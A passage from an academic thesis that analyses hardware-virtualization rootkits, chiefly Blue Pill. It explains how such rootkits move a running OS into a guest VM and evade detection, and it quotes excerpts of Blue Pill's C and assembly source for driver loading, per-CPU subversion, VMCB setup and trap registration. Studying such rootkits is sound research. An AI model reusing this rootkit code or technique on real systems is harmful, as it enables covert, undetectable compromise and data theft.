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versions Intel VT-x) to create a VMM underneath an existing OS and migrate that 

OS into a guest state on the fly without requiring a system reboot [36], [37], [38]. 

The working prototype was implemented on Window Vista x64, but can be ported 

to other x86/x64 OSs such as Linux or BSD as well. 

First presented and demonstrated by its designer Joanna Rutkowska at 

Black Hat 2006, Blue Pill possesses many advantages from an exploitation 

perspective. Since it makes maximum use of hardware VM technology vice 

software VM technology, it is engineered as an ultra-thin hypervisor which does 

not need any BIOS, boot sector, or persistent storage modifications. It creates its 

own private page tables which are not visible to the target OS, as well as clone 

portions of page tables from the target OS [39]. Its small code base allows it to 

remain dormant without consuming noticeable CPU or memory resources. This 

characteristic also allows it to lie and wait for predetermined or interesting events 

to occur without impacting the performance of the newly subverted guest OS 

itself. Once an event of interest occurs, it can be captured and sent to a network 

interface to be exfiltrated off the system without the subverted guest OS or its 

anti-malware software having any visibility into the actions taking place. Since 

Blue Pill is never installed or written onto a system’s hard drive, it is not 

persistent upon reboot. After a system is rebooted the previously subverted OS 

loads in its normal mode without any forensics trail to be captured after the 

subversion has taken place. At this point, if Blue Pill has been resident on a 

system long enough, then there can be a significant amount of data that is 

exfiltrated without any way for the owner to ascertain the extent of the 

exploitation, or even if any exploitation has occurred in the first place.  

3. Vitriol 

The Matasano Security Lab’s Vitriol HVM rootkit project was very similar 

to the Blue Pill project but exploited Intel vice AMD x86 virtualization technology. 

The design effort was led by Dino Dai Zovi and was also demonstrated at Black 

Hat 2006. Vitriol was a proof of concept HVM rootkit targeting Mac OS X running 
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on an Intel VT-x CPU. Vitriol utilizes OS X’s loadable kernel extensions to install 

and execute its rootkit capability. It then uses VT-x to create a VM and migrate 

the OS X kernel into a newly created guest VM [40]. Like Blue Pill, it also is never 

installed or written onto a system’s hard drive, and is therefore not persistent 

upon reboot and offers no forensics trail to be captured after the subversion has 

taken place.  

F. THREATS POSED BY HVM ROOTKITS 

An HVM rootkit executing beneath the OS kernel could potentially perform 

the following functions covertly and without impact to any processes running 

within a Virtual Machine, OS kernel or user space: 

1. Unrestricted access to all memory regardless of use 

2. Unrestricted access to I/O devices 

3. Covert inspection of all I/O conducted by VMs 

4. Covert introspection of VM processes 

5. Manipulation of system state without leaving significant forensic trails  

6. General covert operation in the performance of most tasks 

7. Non-persistence following reboot 

Specialized HVM rootkits will most certainly exploit the abilities listed 

above for malicious purposes and be able to operate with a degree of 

obfuscation that other kernel and user process do not possess. Additionally, a 

subverted virtual environment or VMM could in effect grant an adversary “super” 

privileges that are effectively higher than ring 0 due to the fact that they would be 

in control of the entire physical environment. Such a high level of privilege is 

therefore commonly referred to as ring -0 or ring -1 to signify a privileged 

execution mode below ring 0. 

As discussed in Section D and shown in Figure 5, an HVM rootkit is 

significantly more difficult to detect and remove than other types of rootkits. 
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Conventional malware detection and removal tools would be ineffective against 

such threats [38]. Claims by Rutkowska that Blue Pill is undetectable either 

during or after its exploitation phase have been contested with mixed results. 

There has been significant research into proving both sides of this claim, but this 

thesis will not focus on the question of HVM rootkit detectability. It is sufficient to 

state that Blue Pill and Vitriol (or any other HVM rootkit) presence is extremely 

difficult to detect even through very specialized methods. 
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IV. AN ANALYSIS OF HVM ROOTKITS 

A. ANATOMY OF AN HVM ROOTKIT SUBVERSION 

In principle, an HVM rootkit attack is simple: a hardware based VMM (the 

HVM rootkit) is placed between the kernel of a running OS and the physical 

hardware of the machine. In reality, this maneuver requires a complex and 

carefully orchestrated series of actions which does not disturb the running OS 

and utilizes either Intel VT-x or AMD-V hardware virtualization extensions.  

The terms “fork”, “migration” and “shim” have all been used to describe the 

process of subverting a running OS in real time, on the fly, and moving the target 

OS into a guest state within a VM without interrupting execution and with full 

transparency on the part of the user. This is a terminology standardization issue, 

but has no real impact on the outcome of this thesis research. For the purposes 

of this thesis, these terms are interchangeable. Conceptually, a “shim” is 

probably the best graphical depiction of the action performed by an HVM rootkit 

because it inserts itself between the running OS and the hardware of the 

processor (Figure 6). Technically, “migration” is probably the most accurate term 

since a “fork” operation within the context of an OS means that a process creates 

a copy of itself, which is not what occurs in the case of an HVM rootkit—no copy 

is produced, only a change of privilege accompanied by a change in state. 

 

Figure 6.  Conceptual depiction of HVM rootkit attack 
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Myers proposes 10 steps to describe the successful execution of an HVM 

rootkit [41]. For the purposes of analysis, these steps have been revised slightly 

in order to abstract their function and group them into three phases according to 

the overall effect that they produce. The Infiltration Phase is required to gain the 

appropriate level of privilege on the target system to be able to begin the next 

phase. Infiltration is not specifically part of the focus or scope of this thesis as 

there are numerous documented rootkit methods to gain root level access on any 

given OS and install code for various purposes. The Initialization Phase sets up 

the parameters and preconditions necessary for the subversion itself to take 

place. The distinction between the initialization phase and the actual subversion 

is that actions are taking place at ring 0 within the kernel mode of the target OS. 

The final Subversion Phase encompasses all activity which occurs below that of 

the target OS kernel, and therefore at an effective privilege level of ring -0. 

Infiltration Phase (Conducted by a conventional rootkit or other vector) 

 Gain root level access on the target system 

 Load a hardware level driver which will set up a VMM (the HVM 

rootkit) 

Initialization Phase (Actions conducted by the hardware level driver) 

 Allocate resources for HVM rootkit hypervisor code and load it into 

memory 

 Allocate resources and set up the VMCS / VMCB  

 Initialize the VMCS / VMCB with current state of target OS 

 Turn on the flag enabling hardware assisted virtualization 

 Transfer execution to the HVM rootkit hypervisor 

Subversion Phase (Actions conducted by the HVM rootkit hypervisor) 

 Shift the target OS to VM guest mode 

 Unload the hardware level driver 

 Begin conducting activity the HVM rootkit designer intended 
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Intel VT-x and AMD-V require slightly different implementations and 

techniques to execute these actions, but the overall concept and end result is the 

same.  

B. BLUE PILL SOURCE CODE 

Blue Pill source code was first made available by Invisible Things Lab (the 

company founded by Blue Pill creator Joanna Rutkowska) for use in training 

participants at the 2007 Black Hat Conference, the year following Blue Pill’s initial 

announcement by Rutkowska at the same conference. The source code was 

made available to the public following Black Hat 2007 by download [42]. The 

version that is examined in this thesis is revision 329 which includes code for 

implementation on both AMD-V and Intel VT-x platforms (Intel VT-x capability 

was added after the initial public release). This functionality on both AMD-V and 

Intel VT-x makes this version particularly useful to the thesis objective: to 

determine what common aspects of the respective AMD and Intel attack 

methodologies can be generalized and applied to a wider scope of x86 based 

systems. Having both Blue Pill versions available to examine side by side 

provides for a more direct comparison. 

The Blue Pill source code is separated and grouped by function into 

folders as follows: 

../common/ Common C source code for both HVM rootkits 

../svm/  C source code for the AMD-V HVM rootkit 

../vmx/  C source code for the Intel VT-x HVM rootkit 

../amd64/ Assembly source code for the AMD-V HVM rootkit 

../i386/ Assembly source code for the Intel VT-x HVM rootkit 

The source code folders include the makefiles to compile the Blue Pill 

executable. The include statements in the makefiles determine which source and 

assembly code is used to compile and produce the executable code for either the 

AMD-V or Intel VT-x platform.  
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 After compiling the Blue Pill source code, the result is a Windows .sys 

driver image package with both driver and install files: 

 ..\bin\i386\newbp.sys 

Once root level access is gained on the target OS, this is the only required 

component to implement a Blue Pill subversion of the target system. This file 

does not have to be resident in the target system’s permanent memory to be 

executed, and in fact it should not be resident in order to avert detection and 

avoid leaving a potential forensics trail. 

It is useful to note that Blue Pill is purposely designed to support nested 

VMs, and therefore nested instances of itself. The reason for this is mainly to 

prevent detectability, but it demonstrates that the resulting guest OS VM does 

maintain direct access to hardware. Blue Pill does not emulate any hardware 

functions, except where necessary in the case of guest OS register query replies 

to avoid detection. In both the AMD-V and Intel VT-x implementations, 

instructions that are needed to instantiate a nested Blue Pill hypervisor are 

intentionally trapped, but those instructions can then be allowed to pass to the 

processor for execution if desired [37]. This nested VM capability is outside of the 

scope of this thesis, but it does present interesting and useful areas for future 

research which will be covered in the last chapter.  

The following two sections of this chapter will provide a high level analysis 

of each version of Blue Pill. In total, there are approximately 22,000 lines of 

source code written in both C and Assembly Language contained in 55 files 

covering both AMD and Intel platforms. Regardless of platform, Blue Pill requires 

roughly 14,000 lines of source code to compile and produce a fully functioning 

executable rootkit. Most of this code is overhead for installing and setting up the 

Blue Pill hypervisor, so the resulting hypervisor itself is significantly smaller. The 

analysis in this thesis will not be an exhaustive effort covering every line of code, 

but rather it will cover the code segments responsible for executing the major 

muscle movements required to prepare, initialize, install and run the Blue Pill 
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hypervisor itself and execute the migration of the target OS into a guest VM 

under Blue Pill’s control. 

C. BLUE PILL ANALYSIS ON THE AMD-V PLATFORM 

As Figure 7 depicts, the basic functionality of an AMD-V hypervisor is a 

continuous loop between VMRUN and exit code processing. This is done with 

Blue Pill when the hypervisor initiates a guest VM by executing the VMRUN 

instruction and continues until an enabled #VMEXIT condition is trapped (Figure 

8). At this point execution control returns to the hypervisor at the next instruction 

following VMRUN [37], [41]. 

 

Figure 7.  Simplified Blue Pill attack on AMD-V platform, from [37] 
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Figure 8.  Blue Pill trapped condition interception, from [37] 

1. Infiltration Phase 

The Infiltration Phase is conducted by taking advantage of a conventional 

root exploit, vulnerability or other vector to gain ring 0, or root level, access to the 

OS kernel. Blue Pill was first implemented on Windows Vista 64 using the Vista 

swap bug to bypass the driver signing requirement in Vista [37]. This vulnerability 

no longer exists; however, Blue Pill is not dependent on this particular exploit for 

implementation. 

a. Gain Root Level Access on the Target System 

Any vector which can be exploited to gain root level access to install the 

hardware level driver is all that is needed to accomplish this step. The Blue Pill 
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source code can easily be modified to take advantage of any conventional root 

exploit since it is unrelated to the actual installation and execution of the HVM 

rootkit itself. This thesis assumes that root level access has already been 

obtained on the target OS; therefore, this step in the Blue Pill exploitation chain is 

outside the scope of this thesis and will not be examined further. Suffice it to say 

that there are many vectors for this first step to occur. 

b. Load the Hardware Level Driver 

Following root level access attainment and beginning newbp.sys install 

process from the command line, the first action which must be determined is 

whether the CPU is virtualizable under either AMD-V or Intel VT-x. At this point 

there is no distinction made between the two technologies. This is accomplished 

via a structure named HVM_DEPENDENT in the common.h file (Figure 9) which 

includes several function pointers to perform various tasks including determining 

whether there is already hardware virtualization taking place (in which case Blue 

Pill exploitation may not be possible). 

 

Figure 9.  HVM_DEPENDENT Structure (../common/common.h) 

typedef struct 
{ 
 UCHAR Architecture; 
 
 ARCH_IS_HVM_IMPLEMENTED ArchIsHvmImplemented; 
 
 ARCH_INITIALIZE ArchInitialize; 
 ARCH_VIRTUALIZE ArchVirtualize; 
 ARCH_SHUTDOWN ArchShutdown; 
 
 ARCH_IS_NESTED_EVENT ArchIsNestedEvent; 
 ARCH_DISPATCH_NESTED_EVENT ArchDispatchNestedEvent; 
 ARCH_DISPATCH_EVENT ArchDispatchEvent; 
 ARCH_ADJUST_RIP ArchAdjustRip; 
 ARCH_REGISTER_TRAPS ArchRegisterTraps; 
 ARCH_IS_TRAP_VALID ArchIsTrapValid; 
} HVM_DEPENDENT, 
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These function pointers provide several important benefits to the overall 

operation of Blue Pill. First, they are used to abstract out more specific platform 

functionality within the common code files. These function pointers are all used 

within hvm.c which contains the bulk of the code to handle actions which are not 

specific to either AMD-V (svm.c and related files) or Intel VT-x (vmx.c and related 

files). Second, they are used within hvm.c to easily control the order and flow of 

execution of the rootkit actions. Third, they provide an effective method for hvm.c 

to be able to link to the required platform specific code segments in svm.c (and 

vmx.c for the Intel VT-x implementation) without having to rewrite the source 

code. 

ArchIsHvmImplemented is used twice to determine the status of 

virtualization, once each by functions HvmSubvertCpu and HvmInit, both of 

which are called from within hvm.c. In each function’s case, a value of 

STATUS_SUCCESS is returned if hardware virtualization is present (either AMD-

V or VT-x), and a value of STATUS_NOT_SUPPORTED is returned if neither is 

present [28]. CPUID is the instruction used to determine this data point and does 

not require elevated privileges to execute [26]. 

If virtualization is determined to be present and suitable for Blue Pill 

implementation, then the rest of the code in newbp.c is executed. In order for this 

process to be successful, code must be running as a kernel-mode driver [39]. 

DriverEntry (Figure 10) is the Windows routine called after the driver code is 

loaded into memory and this routine is responsible for initializing the driver within 

the Windows OS to run within the kernel’s privilege level of ring 0. The 

DriverObject parameter supplies the DriverEntry routine with a pointer to the 

driver's driver object, which is allocated resources by the Windows I/O manager 

[43].  
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Figure 10.  DriverEntry (../common/newbp.c) 

Provisions are also set up within newbp.c to unload the driver after the 

subversion phase is later completed. This involves calling the Windows 

unloading routine DriverUnload for the DriverObject that was established to 

instantiate the hardware level driver [28] (Figure 10). This will later be called in 

the HvmSpitOutBluePill function to unload the hardware level driver, shutdown 

the Blue Pill hypervisor and return the system to its original state.  

The last major action to take place within newbp.c is to hand over 

execution to HvmSwallowBluePill in hvm.c (Figure 11).  As it will be seen 

throughout this analysis, much of the initialization flow is controlled by code in 

hvm.c making use of the HVM_DEPENDENT structure to call various functions 

within svm.c.  

NTSTATUS DriverEntry ( 
 PDRIVER_OBJECT DriverObject, 
 PUNICODE_STRING RegistryPath 
) 
{ 
[...] 
 if (!NT_SUCCESS (Status = HvmInit ())) { 
  _KdPrint (("NEWBLUEPILL: HvmInit() failed with status 0x%08hX\n", 
Status)); 
#ifdef USE_LOCAL_DBGPRINTS 
  DbgUnregisterWindow (); 
#endif 
  MmShutdownManager (); 
  return Status; 
 } 
 if (!NT_SUCCESS (Status = HvmSwallowBluepill ())) { 
  _KdPrint (("NEWBLUEPILL: HvmSwallowBluepill() failed with status 
0x%08hX\n", Status)); 
#ifdef USE_LOCAL_DBGPRINTS 
  DbgUnregisterWindow (); 
#endif 
  MmShutdownManager (); 
  return Status; 
 } 
#ifndef RUN_BY_SHELLCODE 
 DriverObject->DriverUnload = DriverUnload; 
#endif 
[...] 
} 
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Figure 11.  HvmSwallowBluePill (../common/hvm.c) 

2. Initialization Phase 

Actions conducted in the Initialization Phase are accomplished by the 

hardware level driver, which was installed by the conventional rootkit exploit in 

the Infiltration Phase. 

 

Called by DriverEntry in newbp.c 
 
NTSTATUS NTAPI HvmSwallowBluepill ( 
) 
{ 
 CCHAR cProcessorNumber; 
 NTSTATUS Status, CallbackStatus; 
 
 _KdPrint (("HvmSwallowBluepill(): Going to subvert %d 
processor%s\n", 
       KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s")); 
 
 KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, 
NULL); 
 
 for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; 
cProcessorNumber++) { 
 
  _KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", 
cProcessorNumber)); 
 
  Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, 
&CallbackStatus); 
 
  if (!NT_SUCCESS (Status)) { 
   _KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed 
with status 0x%08hX\n", Status)); 
   KeReleaseMutex (&g_HvmMutex, FALSE); 
 
   HvmSpitOutBluepill (); 
 
   return Status; 
  } 
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a. Allocate Resources for HVM Rootkit Hypervisor Code and 
Load it into Memory 

Hardware virtualization on both AMD-V and Intel VT-x capable platforms 

make use of multiple cores, where each core is a discrete processor and capable 

of hardware virtualization. Due to this characteristic, Blue Pill code must be 

initialized on each processor [28].  

HvmSwallowBluepill calls CmDeliverToProcessor which executes the 

assembly language setup routine CmSubvert (Figure 12) to each physical 

processor core. After performing required register manipulations, CmSubvert 

returns control to the HvmSubvertCpu function in hvm.c to continue with 

individual processor HVM rootkit installation (Figure 13). ArchIsHvmImplemented 

is used again to make sure that the virtualization hardware is available. It is not 

clear why this action is needed a second time, but it may be needed within the 

context of the hvm.c code segment’s execution and also due to the fact that the 

rootkit is now executing as a hardware level driver, whereas in the first instance it 

was not. (A similar action to verify processor capability is executed next by 

SvmIsImplemented within the svm.c code segment, although it uses CPUID 

instruction via the GetCpuIdInfo function rather than the HvmInit function to 

perform the check.) This CPU query is done via the same HvmInit function above 

and if it returns STATUS_SUCCESS, the HVM rootkit process will begin the 

steps to install the Blue Pill hypervisor. 
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Figure 12.  CmSubvert (../amd64/common-asm.asm) 

 HvmSubvertCpu is responsible for configuring several prerequisites  

for the Blue Pill hypervisor on each physical processor (Figure 13). GdtArea  

and IdtArea use MmAllocatePages to allocate memory for the Global  

Descriptor Table (GDT) and Interrupt Descriptor Table (IDT).  HvmSubvertCpu 

must be executed on each processor which is identified by the function 

KeGetCurrentProcessorNumber.  

The GDT defines access privileges for various segments of physical 

memory. It defines the characteristics of these segments used during program 

execution, including the base address, the size and unique access privileges. In 

order to reference a particular memory segment, a program must use the 

segment’s selector stored in the GDT. 

 

 

Called by HvmSwallowBluepill in hvm.c 
 
CmSubvert PROC 
 
 push rax 
 push rcx 
 push rdx 
 push rbx 
 push rbp 
 push rsi 
 push rdi 
 push r8 
 push r9 
 push r10 
 push r11 
 push r12 
 push r13 
 push r14 
 push r15 
 sub rsp, 28h 
 mov rcx, rsp 
 call HvmSubvertCpu 
 
CmSubvert ENDP 
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The IDT defines the set of exceptions that a processor must act upon. To 

do this it implements an interrupt vector table which is used by its associated 

processor to determine the required actions in response to various identified 

interrupts and exceptions. 

HostKernelStackBase uses MmAllocatePages to allocate memory for the 

kernel stack which returns the base memory address for the kernel stack. The 

kernel stack size is limited to approximately three pages on the x86 architecture 

[44]. 

A kernel stack is used to save information about system calls and 

interrupts for every active thread that is executing in kernel space. In addition to 

the per thread kernel stacks, there are also specialized kernel stacks associated 

with each physical processor as well [44]. Since the Blue Pill hypervisor is itself a 

small scale kernel, the kernel stacks assist the Blue Pill hypervisor in processing 

interrupts from the guest OS.  
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Figure 13.  HvmSubvertCpu (../common/hvm.c) 

Called by CmSubvert in common-asm.asm 
 
NTSTATUS NTAPI HvmSubvertCpu ( 
 PVOID GuestRsp 
){ 
 PCPU Cpu; 
 PVOID HostKernelStackBase; 
 NTSTATUS Status; 
 PHYSICAL_ADDRESS HostStackPA; 
 
 _KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", 
KeGetCurrentProcessorNumber ())); 
 
 if (!Hvm->ArchIsHvmImplemented ()) { 
  _KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this 
processor\n")); 
  return STATUS_NOT_SUPPORTED; 
 } 
 HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, 
&HostStackPA); 
 if (!HostKernelStackBase) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the 
host stack\n", HOST_STACK_SIZE_IN_PAGES)); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES 
* PAGE_SIZE - 8 - sizeof (CPU)); 
 Cpu->HostStack = HostKernelStackBase; 
 // for interrupt handlers which will address CPU through the FS 
 Cpu->SelfPointer = Cpu; 
 Cpu->ProcessorNumber = KeGetCurrentProcessorNumber (); 
 Cpu->Nested = FALSE; 
 InitializeListHead (&Cpu->GeneralTrapsList); 
 InitializeListHead (&Cpu->MsrTrapsList); 
 InitializeListHead (&Cpu->IoTrapsList); 
 Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), 
NULL); 
 
 if (!Cpu->GdtArea) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for 
GDT\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), 
NULL); 
 if (!Cpu->IdtArea) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for 
IDT\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
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Kernel stacks are only used while the kernel is actually in control of the 

corresponding processor, and when the processor returns control to user mode 

the kernel stacks contain no data. In the context of Blue Pill execution, these 

kernel stacks will only be used when the Blue Pill hypervisor has acted on an trap 

condition from the guest OS and performed a context shift to seize hardware 

level control (ring -0 mode) of the system. Upon completion of trap handling and 

return of control back to the guest OS, these kernel stacks will be cleared and left 

unused until the next trap condition triggers another context switch back to the 

Blue Pill hypervisor. 

The GDT, IDT and kernel stacks must work concurrently with the VMCB 

for the successful operation of the hypervisor and correct handling of trap 

conditions.  

 SvmIsImplemented (Figure 14) includes several calls of the GetCpuIdInfo 

function which uses the CPUID assembly instructions in cpuid.asm. The first 

instance of GetCpuIdInfo checks to ensure that the processor is equipped with 

the AMD-V extended CPUID instructions, and if not it returns FALSE. The 

second and third instances of GetCpuIdInfo check to ensure that the second byte 

of the ECX register is set correctly (see Appendix A) in order to be able to use 

the AMD-V virtualization extensions, and if not it again returns FALSE [26], [28].  
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Figure 14.  SvmIsImplemented (../svm/svm.c) 

b. Set up the VMCB  

The ArchInitialize function pointer in hvm.c indirectly calls SvmInitialize in 

svm.c (Figure 15). As discussed above, virtualization must be set up on each 

physical processor individually and therefore VMCBs are specific to each core 

and are not shared [41]. 

Called by Hvm->ArchIsHvmImplemented function pointer in hvm.c 
 
static BOOLEAN NTAPI SvmIsImplemented ( 
) 
{ 
 ULONG32 eax, ebx, ecx, edx; 
 
 GetCpuIdInfo (0, &eax, &ebx, &ecx, &edx); 
 if (eax < 1) { 
  _KdPrint (("SvmIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x68747541 && ecx == 0x444d4163 && edx == 0x69746e65)) 
{ 
  _KdPrint (("SvmIsImplemented(): Not an AMD processor\n")); 
  return FALSE; 
 } 
 
 GetCpuIdInfo (0x80000000, &eax, &ebx, &ecx, &edx); 
 if (eax < 0x80000001) { 
  _KdPrint (("SvmIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x68747541 && ecx == 0x444d4163 && edx == 0x69746e65)) 
{ 
  _KdPrint (("SvmIsImplemented(): Not an AMD processor\n")); 
  return FALSE; 
 } 
 
 GetCpuIdInfo (0x80000001, &eax, &ebx, &ecx, &edx); 
 
 return (BOOLEAN) (CmIsBitSet (ecx, 2)); 
} 
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Figure 15.  SvmInitialize (../svm/svm.c) 

  

 

Called by Hvm->ArchInitialize function pointer in hvm.c 
 
static NTSTATUS NTAPI SvmInitialize ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
){ 
 PHYSICAL_ADDRESS AlignedVmcbPA; 
 ULONG64 VaDelta; 
 NTSTATUS Status; 
 ULONG32 eax, ebx, ecx, edx; 
 BOOLEAN bAlreadyEnabled; 
 SvmCheckErratums (Cpu); 
 GetCpuIdInfo (0x8000000a, &eax, &ebx, &ecx, &edx); 
 Cpu->Svm.AsidMaxNo = ebx - 1; 
 _KdPrint (("SvmInitialize: AsidMaxNo = %d\n", Cpu->Svm.AsidMaxNo)); 
 // do not deallocate anything here; MmShutdownManager will take care of that 
 Cpu->Svm.Hsa = MmAllocateContiguousPages (SVM_HSA_SIZE_IN_PAGES, &Cpu-
>Svm.HsaPA); 
 if (!Cpu->Svm.Hsa) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for HSA\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): Hsa VA: 0x%p\n", Cpu->Svm.Hsa)); 
 _KdPrint (("SvmInitialize(): Hsa PA: 0x%X\n", Cpu->Svm.HsaPA.QuadPart)); 
 Cpu->Svm.OriginalVmcb = 
  MmAllocateContiguousPagesSpecifyCache (SVM_VMCB_SIZE_IN_PAGES, &Cpu-
>Svm.OriginalVmcbPA, MmCached); 
 if (!Cpu->Svm.OriginalVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for original 
VMCB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): Vmcb VA: 0x%p\n", Cpu->Svm.OriginalVmcb)); 
 _KdPrint (("SvmInitialize(): Vmcb PA: 0x%X\n", Cpu-
>Svm.OriginalVmcbPA.QuadPart)); 
 Cpu->Svm.GuestVmcb = MmAllocateContiguousPagesSpecifyCache 
(SVM_VMCB_SIZE_IN_PAGES, NULL, MmCached); 
 if (!Cpu->Svm.GuestVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for GuestVmcb\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): GuestVmcb VA: 0x%p\n", Cpu->Svm.GuestVmcb)); 
 Cpu->Svm.NestedVmcb = 
  MmAllocateContiguousPagesSpecifyCache (SVM_VMCB_SIZE_IN_PAGES, &Cpu-
>Svm.NestedVmcbPA, MmCached); 
 if (!Cpu->Svm.NestedVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for nested 
VMCB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
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Each VMCB must also be allocated in a continuous non-paged 4 kilobyte 

block of physical memory [26]. The first area is a 1024 byte control area which 

contains various control bits including the intercept enable mask which specifies 

which exit conditions the hypervisor will trap, and the second area is a 2564 byte 

guest state area which saves the current state of the guest OS during control 

shifts between the hypervisor and the guest OS itself [41].  

The original state of the OS is saved in a separate VCMB named 

OriginalVmcb which is later used to restore the target OS to its original state 

when exiting and unloading Blue Pill. 

 The ArchRegisterTraps function pointer in hvm.c indirectly calls 

SvmRegisterTraps in svmtraps.c (Figure 16). SvmRegisterTraps sets up the trap 

conditions that Blue Pill will intercept and handle while it is in control of the 

system.  

The trap function is of particular importance in an HVM rootkit because it 

defines the set of enabled exception conditions in the VMCB and the method for 

handling the #VMEXIT conditions. Although many operations can be trapped by 

a hypervisor, the only one that an AMD-V hypervisor absolutely must trap by 

design is the VMRUN instruction [26], [41]. Whenever an exit condition causes 

execution to transfer back to the hypervisor, the corresponding exit code is 

stored in the EXITCODE field in the control area of the VMCB [26]. 

Since Blue Pill is a proof of concept implementation it is not critical for it to 

trap any instruction or event not specifically required for the successful execution 

of the guest VM, but if Blue Pill were to be weaponized with malware there would 

need to be defined a larger scope of exceptions based on the intended 

exploitation of the new HVM rootkit.  
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Figure 16.  SvmRegisterTraps (../svm/svmtraps.c) 

  SvmRegisterTraps causes Blue Pill to trap and handle the following 

specific exceptions [28]: 

 (as shown in Figure 16) 

 Instructions: VMRUN, VMLOAD, VMSAVE 

 (not shown in Figure 16 but specified elsewhere in svmtraps.c) 

 Model Specific Registers (MSPs): EFER.SVME, VM_HSAVE_PA, TSC 

 Instructions: CLGI, STGI, CPUID, RDTSC, RDTSCP 

Called by Hvm->ArchRegisterTraps function pointer in hvm.c 
 
NTSTATUS NTAPI SvmRegisterTraps ( 
 PCPU Cpu 
) 
{ 
 NTSTATUS Status; 
 PNBP_TRAP Trap; 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMRUN, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmrun, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register SvmDispatchVmrun 
with status 0x%08hX\n", Status)); 
  return Status; 
 } 
 TrRegisterTrap (Cpu, Trap); 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMLOAD, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmload, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register 
SvmDispatchVmload with status 0x%08hX\n", Status)); 
  return Status; 
 } 
 TrRegisterTrap (Cpu, Trap); 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMSAVE, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmsave, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register 
SvmDispatchVmsave with status 0x%08hX\n", Status)); 
  return Status; 
 } 
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This set of exit handling conditions is significantly larger than the minimal require 

exit conditions specified in [26]. This is to avoid detectability in the initial proof of 

concept. The Blue Pill hypervisor must prevent the guest from detecting that it is 

operating within a VM and therefore Blue Pill must intercept these exceptions 

and provide suitable false responses to the target OS [45]. 

The SvmSetupControlArea routine within svm.c initializes the 1024 byte 

control area within the VMCB (Figure 17). 

 

Figure 17.  SvmSetupControlArea (../svm/svm.c) 

c. Initialize the VMCB with Current State of Target OS 

 The SvmInitGuestState routine initializes the VMCB guest state area with 

the current state of the guest OS. This includes initializing the previously 

allocated GDT and IDT, the CR and DR registers, and the current pointer and 

stack pointer [28] (Figures 18 and 19). 

 

Called by SvmInitialize in svm.c 
 
static NTSTATUS SvmSetupControlArea ( 
 PCPU Cpu 
) 
{ 
 PVOID MsrPm, NestedMsrPm; 
 PHYSICAL_ADDRESS MsrPmPA, NestedMsrPmPA; 
 PVMCB Vmcb; 
 NTSTATUS Status; 
 ULONG32 eax, ebx, ecx, edx; 
 
 if (!Cpu || !Cpu->Svm.OriginalVmcb) 
  return STATUS_INVALID_PARAMETER; 
 
 Vmcb = Cpu->Svm.OriginalVmcb; 
 
 MsrPm = MmAllocateContiguousPages (SVM_MSRPM_SIZE_IN_PAGES, 
&MsrPmPA); 
 if (!MsrPm) { 
  _KdPrint (("SvmSetupControlArea(): Failed to allocate memory for 
original MSRPM\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
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Figure 18.  SvmInitGuestState - Part 1 (../svm/svm.c) 

Called by SvmInitialize in svm.c 
 
NTSTATUS SvmInitGuestState ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
) 
{ 
 USHORT Sel; 
 PVOID GuestGdtBase; 
 NTSTATUS Status; 
 PVMCB Vmcb; 
 
 if (!Cpu || !Cpu->Svm.OriginalVmcb || !Cpu-
>Svm.OriginalVmcbPA.QuadPart) 
  return STATUS_INVALID_PARAMETER; 
 
 SvmVmsave (Cpu->Svm.OriginalVmcbPA); 
 
 _KdPrint (("SvmInitGuestState(): GS_BASE: 0x%p\n", MsrRead 
(MSR_GS_BASE))); 
 _KdPrint (("SvmInitGuestState(): SHADOW_GS_BASE: 0x%p\n", MsrRead 
(MSR_SHADOW_GS_BASE))); 
 _KdPrint (("SvmInitGuestState(): KernGSBase: 0x%p\n", Cpu-
>Svm.OriginalVmcb->kerngsbase)); 
 _KdPrint (("SvmInitGuestState(): fs.base: 0x%p\n", Cpu-
